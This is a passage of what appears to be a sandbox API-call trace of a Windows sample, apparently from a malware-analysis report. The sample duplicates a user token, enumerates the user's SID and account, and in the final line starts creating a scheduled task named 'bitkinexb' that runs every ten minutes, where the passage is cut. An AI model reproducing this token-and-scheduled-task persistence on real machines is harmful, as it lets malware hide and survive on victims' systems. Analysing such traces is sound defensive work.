lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0061.421] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0061.421] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0061.421] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0061.422] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0061.422] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0061.422] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0061.422] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0061.422] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0061.422] malloc (_Size=0x18) returned 0xef040 [0061.422] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2e0) returned 1 [0061.422] malloc (_Size=0x48) returned 0xed400 [0061.422] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4dbe4b80, dwHighDateTime=0x1d9eb0c)) [0061.423] SetEvent (hEvent=0x1f0) returned 1 [0061.429] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0061.429] GetLastError () returned 0x7a [0061.429] malloc (_Size=0x2c) returned 0xee200 [0061.429] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0061.429] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0061.429] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0061.429] malloc (_Size=0x1c) returned 0xeff60 [0061.429] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0061.429] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0061.429] malloc (_Size=0x18) returned 0xef040 [0061.429] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0061.429] malloc (_Size=0x18) returned 0xeef00 [0061.429] malloc (_Size=0x18) returned 0xef0a0 [0061.429] SysStringLen (param_1="S-1-") returned 0x4 [0061.429] SysStringLen (param_1="5") returned 0x1 [0061.429] memcpy (in: _Dst=0x35e9f8, _Src=0x35e998, _Size=0xa | out: _Dst=0x35e9f8) returned 0x35e9f8 [0061.430] memcpy (in: _Dst=0x35ea00, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x35ea00) returned 0x35ea00 [0061.430] free (_Block=0xef040) [0061.430] free (_Block=0xeef00) [0061.430] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0061.430] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0061.430] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0061.430] malloc (_Size=0x18) returned 0xeef00 [0061.430] malloc (_Size=0x18) returned 0xef040 [0061.430] SysStringLen (param_1="S-1-5") returned 0x5 [0061.430] SysStringLen (param_1="-") returned 0x1 [0061.430] memcpy (in: _Dst=0x35e8d8, _Src=0x35e9f8, _Size=0xc | out: _Dst=0x35e8d8) returned 0x35e8d8 [0061.430] memcpy (in: _Dst=0x35e8e2, _Src=0x35e998, _Size=0x4 | out: _Dst=0x35e8e2) returned 0x35e8e2 [0061.430] free (_Block=0xef0a0) [0061.430] free (_Block=0xeef00) [0061.430] malloc (_Size=0x18) returned 0xeef00 [0061.430] malloc (_Size=0x18) returned 0xef0a0 [0061.430] SysStringLen (param_1="S-1-5-") returned 0x6 [0061.430] SysStringLen (param_1="21") returned 0x2 [0061.430] memcpy (in: _Dst=0x35e998, _Src=0x35e8d8, _Size=0xe | out: _Dst=0x35e998) returned 0x35e998 [0061.430] memcpy (in: _Dst=0x35e9a4, _Src=0x35e9f8, _Size=0x6 | out: _Dst=0x35e9a4) returned 0x35e9a4 [0061.430] free (_Block=0xef040) [0061.430] free (_Block=0xeef00) [0061.430] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0061.430] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0061.431] malloc (_Size=0x18) returned 0xeef00 [0061.431] malloc (_Size=0x18) returned 0xef040 [0061.431] SysStringLen (param_1="S-1-5-21") returned 0x8 [0061.431] SysStringLen (param_1="-") returned 0x1 [0061.431] memcpy (in: _Dst=0x35e9f8, _Src=0x35e998, _Size=0x12 | out: _Dst=0x35e9f8) returned 0x35e9f8 [0061.431] memcpy (in: _Dst=0x35ea08, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x35ea08) returned 0x35ea08 [0061.431] free (_Block=0xef0a0) [0061.431] free (_Block=0xeef00) [0061.431] malloc (_Size=0x18) returned 0xeef00 [0061.431] malloc (_Size=0x18) returned 0xef0a0 [0061.431] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0061.431] SysStringLen (param_1="4219442223") returned 0xa [0061.431] memcpy (in: _Dst=0x338318, _Src=0x35e9f8, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0061.431] memcpy (in: _Dst=0x33832a, _Src=0x35e998, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0061.431] free (_Block=0xef040) [0061.431] free (_Block=0xeef00) [0061.431] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0061.431] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0061.431] malloc (_Size=0x18) returned 0xeef00 [0061.431] malloc (_Size=0x18) returned 0xef040 [0061.431] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0061.431] SysStringLen (param_1="-") returned 0x1 [0061.431] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0061.431] memcpy (in: _Dst=0x3377ae, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0061.432] free (_Block=0xef0a0) [0061.432] free (_Block=0xeef00) [0061.432] malloc (_Size=0x18) returned 0xeef00 [0061.432] malloc (_Size=0x18) returned 0xef0a0 [0061.432] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0061.432] SysStringLen (param_1="4223814209") returned 0xa [0061.432] memcpy (in: _Dst=0x34da68, _Src=0x337788, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0061.432] memcpy (in: _Dst=0x34da90, _Src=0x35e9f8, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0061.432] free (_Block=0xef040) [0061.432] free (_Block=0xeef00) [0061.432] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0061.432] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0061.432] malloc (_Size=0x18) returned 0xeef00 [0061.432] malloc (_Size=0x18) returned 0xef040 [0061.432] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0061.432] SysStringLen (param_1="-") returned 0x1 [0061.432] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34db78) returned 0x34db78 [0061.432] memcpy (in: _Dst=0x34dbb4, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x34dbb4) returned 0x34dbb4 [0061.432] free (_Block=0xef0a0) [0061.433] free (_Block=0xeef00) [0061.433] malloc (_Size=0x18) returned 0xeef00 [0061.433] malloc (_Size=0x18) returned 0xef0a0 [0061.433] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0061.433] SysStringLen (param_1="3835049652") returned 0xa [0061.433] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0061.433] memcpy (in: _Dst=0x34daa6, _Src=0x35e9f8, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0061.433] free (_Block=0xef040) [0061.433] free (_Block=0xeef00) [0061.433] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0061.433] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0061.433] malloc (_Size=0x18) returned 0xeef00 [0061.433] malloc (_Size=0x18) returned 0xef040 [0061.433] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0061.433] SysStringLen (param_1="-") returned 0x1 [0061.433] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34db78) returned 0x34db78 [0061.433] memcpy (in: _Dst=0x34dbca, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x34dbca) returned 0x34dbca [0061.433] free (_Block=0xef0a0) [0061.434] free (_Block=0xeef00) [0061.434] malloc (_Size=0x18) returned 0xeef00 [0061.434] malloc (_Size=0x18) returned 0xef0a0 [0061.434] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0061.434] SysStringLen (param_1="1000") returned 0x4 [0061.434] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0061.434] memcpy (in: _Dst=0x34dabc, _Src=0x35e9f8, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0061.434] free (_Block=0xef040) [0061.434] free (_Block=0xeef00) [0061.434] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0061.434] malloc (_Size=0x5e) returned 0xf0800 [0061.434] free (_Block=0xef0a0) [0061.434] malloc (_Size=0x18) returned 0xef0a0 [0061.435] free (_Block=0xf0800) [0061.435] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0061.436] GetLastError () returned 0x7a [0061.436] malloc (_Size=0x14) returned 0xeef00 [0061.436] malloc (_Size=0x16) returned 0xef040 [0061.436] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef00, cchName=0xebcca4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0061.436] malloc (_Size=0x18) returned 0xef020 [0061.437] malloc (_Size=0x18) returned 0xeef60 [0061.437] free (_Block=0xeef00) [0061.437] free (_Block=0xef040) [0061.437] free (_Block=0xeff60) [0061.437] free (_Block=0xeef60) [0061.437] free (_Block=0xef020) [0061.437] free (_Block=0xef0a0) [0061.438] free (_Block=0xee200) [0061.438] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0061.438] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0061.438] GetLastError () returned 0x7a [0061.438] malloc (_Size=0x2c) returned 0xee240 [0061.438] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0061.438] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0061.438] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0061.438] malloc (_Size=0x1c) returned 0xeff60 [0061.438] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0061.438] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0061.438] malloc (_Size=0x18) returned 0xef0a0 [0061.438] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0061.438] malloc (_Size=0x18) returned 0xef020 [0061.438] malloc (_Size=0x18) returned 0xeef60 [0061.438] SysStringLen (param_1="S-1-") returned 0x4 [0061.438] SysStringLen (param_1="5") returned 0x1 [0061.438] memcpy (in: _Dst=0x35e998, _Src=0x35e8d8, _Size=0xa | out: _Dst=0x35e998) returned 0x35e998 [0061.438] memcpy (in: _Dst=0x35e9a0, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x35e9a0) returned 0x35e9a0 [0061.439] free (_Block=0xef0a0) [0061.439] free (_Block=0xef020) [0061.439] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0061.439] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0061.439] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0061.439] malloc (_Size=0x18) returned 0xef020 [0061.439] malloc (_Size=0x18) returned 0xef0a0 [0061.439] SysStringLen (param_1="S-1-5") returned 0x5 [0061.439] SysStringLen (param_1="-") returned 0x1 [0061.439] memcpy (in: _Dst=0x35e9f8, _Src=0x35e998, _Size=0xc | out: _Dst=0x35e9f8) returned 0x35e9f8 [0061.439] memcpy (in: _Dst=0x35ea02, _Src=0x35e8d8, _Size=0x4 | out: _Dst=0x35ea02) returned 0x35ea02 [0061.439] free (_Block=0xeef60) [0061.439] free (_Block=0xef020) [0061.439] malloc (_Size=0x18) returned 0xef020 [0061.439] malloc (_Size=0x18) returned 0xeef60 [0061.439] SysStringLen (param_1="S-1-5-") returned 0x6 [0061.439] SysStringLen (param_1="21") returned 0x2 [0061.439] memcpy (in: _Dst=0x35e8d8, _Src=0x35e9f8, _Size=0xe | out: _Dst=0x35e8d8) returned 0x35e8d8 [0061.439] memcpy (in: _Dst=0x35e8e4, _Src=0x35e998, _Size=0x6 | out: _Dst=0x35e8e4) returned 0x35e8e4 [0061.439] free (_Block=0xef0a0) [0061.439] free (_Block=0xef020) [0061.439] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0061.439] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0061.439] malloc (_Size=0x18) returned 0xef020 [0061.440] malloc (_Size=0x18) returned 0xef0a0 [0061.440] SysStringLen (param_1="S-1-5-21") returned 0x8 [0061.440] SysStringLen (param_1="-") returned 0x1 [0061.440] memcpy (in: _Dst=0x35e998, _Src=0x35e8d8, _Size=0x12 | out: _Dst=0x35e998) returned 0x35e998 [0061.440] memcpy (in: _Dst=0x35e9a8, _Src=0x35e9f8, _Size=0x4 | out: _Dst=0x35e9a8) returned 0x35e9a8 [0061.440] free (_Block=0xeef60) [0061.440] free (_Block=0xef020) [0061.440] malloc (_Size=0x18) returned 0xef020 [0061.440] malloc (_Size=0x18) returned 0xeef60 [0061.440] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0061.440] SysStringLen (param_1="4219442223") returned 0xa [0061.440] memcpy (in: _Dst=0x338318, _Src=0x35e998, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0061.440] memcpy (in: _Dst=0x33832a, _Src=0x35e8d8, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0061.440] free (_Block=0xef0a0) [0061.440] free (_Block=0xef020) [0061.440] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0061.440] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0061.440] malloc (_Size=0x18) returned 0xef020 [0061.440] malloc (_Size=0x18) returned 0xef0a0 [0061.440] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0061.440] SysStringLen (param_1="-") returned 0x1 [0061.441] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0061.442] memcpy (in: _Dst=0x3377ae, _Src=0x35e998, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0061.442] free (_Block=0xeef60) [0061.442] free (_Block=0xef020) [0061.442] malloc (_Size=0x18) returned 0xef020 [0061.442] malloc (_Size=0x18) returned 0xeef60 [0061.442] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0061.442] SysStringLen (param_1="4223814209") returned 0xa [0061.442] memcpy (in: _Dst=0x34db78, _Src=0x337788, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0061.442] memcpy (in: _Dst=0x34dba0, _Src=0x35e998, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0061.442] free (_Block=0xef0a0) [0061.442] free (_Block=0xef020) [0061.442] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0061.442] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0061.442] malloc (_Size=0x18) returned 0xef020 [0061.442] malloc (_Size=0x18) returned 0xef0a0 [0061.442] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0061.443] SysStringLen (param_1="-") returned 0x1 [0061.443] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0061.443] memcpy (in: _Dst=0x34daa4, _Src=0x35e998, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0061.443] free (_Block=0xeef60) [0061.443] free (_Block=0xef020) [0061.443] malloc (_Size=0x18) returned 0xef020 [0061.443] malloc (_Size=0x18) returned 0xeef60 [0061.443] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0061.443] SysStringLen (param_1="3835049652") returned 0xa [0061.443] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0061.443] memcpy (in: _Dst=0x34dbb6, _Src=0x35e998, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0061.443] free (_Block=0xef0a0) [0061.443] free (_Block=0xef020) [0061.443] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0061.443] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0061.443] malloc (_Size=0x18) returned 0xef020 [0061.443] malloc (_Size=0x18) returned 0xef0a0 [0061.443] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0061.443] SysStringLen (param_1="-") returned 0x1 [0061.443] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0061.443] memcpy (in: _Dst=0x34daba, _Src=0x35e998, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0061.443] free (_Block=0xeef60) [0061.444] free (_Block=0xef020) [0061.444] malloc (_Size=0x18) returned 0xef020 [0061.444] malloc (_Size=0x18) returned 0xeef60 [0061.444] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0061.444] SysStringLen (param_1="1000") returned 0x4 [0061.444] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0061.444] memcpy (in: _Dst=0x34dbcc, _Src=0x35e998, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0061.444] free (_Block=0xef0a0) [0061.444] free (_Block=0xef020) [0061.444] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0061.444] malloc (_Size=0x5e) returned 0xf0800 [0061.444] free (_Block=0xeef60) [0061.444] malloc (_Size=0x18) returned 0xeef60 [0061.445] free (_Block=0xf0800) [0061.445] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0061.445] GetLastError () returned 0x7a [0061.445] malloc (_Size=0x14) returned 0xef020 [0061.446] malloc (_Size=0x16) returned 0xef0a0 [0061.446] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef020, cchName=0xebccb4, ReferencedDomainName=0xef0a0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0061.446] malloc (_Size=0x18) returned 0xef040 [0061.446] malloc (_Size=0x18) returned 0xeef00 [0061.446] free (_Block=0xef020) [0061.446] free (_Block=0xef0a0) [0061.446] free (_Block=0xeff60) [0061.446] free (_Block=0xeef00) [0061.446] free (_Block=0xef040) [0061.447] free (_Block=0xeef60) [0061.447] free (_Block=0xee240) [0061.448] malloc (_Size=0x48) returned 0xed400 [0061.448] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0061.453] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0061.453] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0061.453] malloc (_Size=0x18) returned 0xeef60 [0061.453] CreateEnvironmentBlock () returned 0x1 [0061.458] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0061.458] malloc (_Size=0x18) returned 0xef040 [0061.458] CreateProcessAsUserW (in: hToken=0x2e0, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"bitkinexb\" /sc MINUTE /mo 10 /tr 